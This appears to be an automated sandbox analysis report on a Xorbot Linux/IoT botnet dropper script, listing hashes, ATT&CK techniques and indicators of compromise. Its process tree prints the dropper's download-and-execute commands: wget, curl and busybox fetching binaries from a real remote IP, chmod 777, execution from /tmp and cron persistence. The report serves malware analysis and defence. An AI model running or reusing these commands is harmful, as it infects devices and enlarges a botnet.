xorbot | 8fd6fbf664ac74a348aa5d1f7456a71e7806bcced78f8d18d1c6c0c4f2344b4f

Analysis

max time kernel
75s
max time network
152s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
03-12-2024 22:26

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General

Target

bins.sh
Size

10KB
MD5

2fb07c471bdf3d544ed7b17a96c49562
SHA1

d0fcc460e8765eb060a8fd97f608691716a20163
SHA256

8fd6fbf664ac74a348aa5d1f7456a71e7806bcced78f8d18d1c6c0c4f2344b4f
SHA512

526f3eed7ddf8c6697664873fe9fb49c382134a1241790ccaa04edbabbd693deb1a3a8dd341f332d2a878d9a060d70087832449d299647aec5291c7b14645c35
SSDEEP

96:Ettf8gEtkD6cp6cx6cL+6G+vfeZK6KXLog5ZMP3ZK6KXLeg5bttf8gySSjKMc6ci:5tkD6S666P+v25G6S666N+S

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (2075) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmod

pid	Process
809	chmod
706	chmod

Executes dropped EXE 2 IoCs

Processes:

f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6b0NRJjOXsGdUJBU9KXX62MdZGiPvRmSQIL

ioc	pid	Process
/tmp/f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6	707	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
/tmp/b0NRJjOXsGdUJBU9KXX62MdZGiPvRmSQIL	810	b0NRJjOXsGdUJBU9KXX62MdZGiPvRmSQIL

Renames itself 1 IoCs

Processes:

f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6

pid	Process
708	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.UUssnX	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

Processes:

curl

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6

description	ioc	Process
File opened for reading	/proc/728/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/768/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/847/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/860/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/891/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/909/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/924/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/820/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/841/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/917/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/934/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/858/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/11/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/318/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/741/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/762/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/769/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/815/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/832/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/883/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/956/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/8/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/23/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/43/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/674/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/744/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/772/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/837/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/77/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/109/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/723/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/807/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/907/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/929/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/13/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/145/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/806/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/863/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/954/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/961/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/28/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/29/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/794/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/106/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/150/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/719/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/771/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/801/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/733/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/740/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/745/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/756/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/797/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/881/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/918/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/868/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/877/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/919/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/938/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/942/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/735/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/833/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/834/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
File opened for reading	/proc/939/cmdline	f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6

System Network Configuration Discovery 1 TTPs 5 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

Processes:

b0NRJjOXsGdUJBU9KXX62MdZGiPvRmSQILrmwgetcurlbusybox

pid	Process
810	b0NRJjOXsGdUJBU9KXX62MdZGiPvRmSQIL
812	rm
718	wget
719	curl
808	busybox

Writes file to tmp directory 4 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusyboxbusybox

description	ioc	Process
File opened for modification	/tmp/f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6	wget
File opened for modification	/tmp/f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6	curl
File opened for modification	/tmp/f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6	busybox
File opened for modification	/tmp/b0NRJjOXsGdUJBU9KXX62MdZGiPvRmSQIL	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:674
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:676
- /usr/bin/wget
  wget http://216.126.231.240/bins/f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
  2⤵
  - Writes file to tmp directory
  PID:680
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:694
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
  2⤵
  - Writes file to tmp directory
  PID:704
- /bin/chmod
  chmod 777 f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
  2⤵
  - File and Directory Permissions Modification
  PID:706
- /tmp/f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
  ./f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:707
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:709
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:710
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:712
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:713
- /bin/rm
  rm f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
  2⤵
  PID:716
- /usr/bin/wget
  wget http://216.126.231.240/bins/b0NRJjOXsGdUJBU9KXX62MdZGiPvRmSQIL
  2⤵
  - System Network Configuration Discovery
  PID:718
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/b0NRJjOXsGdUJBU9KXX62MdZGiPvRmSQIL
  2⤵
  - System Network Configuration Discovery
  PID:719
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/b0NRJjOXsGdUJBU9KXX62MdZGiPvRmSQIL
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:808
- /bin/chmod
  chmod 777 b0NRJjOXsGdUJBU9KXX62MdZGiPvRmSQIL
  2⤵
  - File and Directory Permissions Modification
  PID:809
- /tmp/b0NRJjOXsGdUJBU9KXX62MdZGiPvRmSQIL
  ./b0NRJjOXsGdUJBU9KXX62MdZGiPvRmSQIL
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:810
- /bin/rm
  rm b0NRJjOXsGdUJBU9KXX62MdZGiPvRmSQIL
  2⤵
  - System Network Configuration Discovery
  PID:812
- /usr/bin/wget
  wget http://216.126.231.240/bins/9hBieqEVONfG5TIUR0xB7rv2cQv97ST4LP
  2⤵
  PID:813

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/b0NRJjOXsGdUJBU9KXX62MdZGiPvRmSQIL

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/tmp/f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

Download Submit
/var/spool/cron/crontabs/tmp.UUssnX

Filesize
210B

MD5
c8c01bacd5b8e3cffe92911176acfffb

SHA1
870eb215d8d5e53706b51ff75d3050e3cc5e40f1

SHA256
da06f120f564301d91a51627f62fcf9aa224f533a6bbb1bd4870a9dc72fb0dcd

SHA512
aeb2b2f33bc84907ae9371a2a534bac902f0df17690213f0bb8ddbad1d66de9700529fcc102aa49ab3dc198dfa6ff9a65ede202f1e351581050ff17e2b1f393d

Download Submit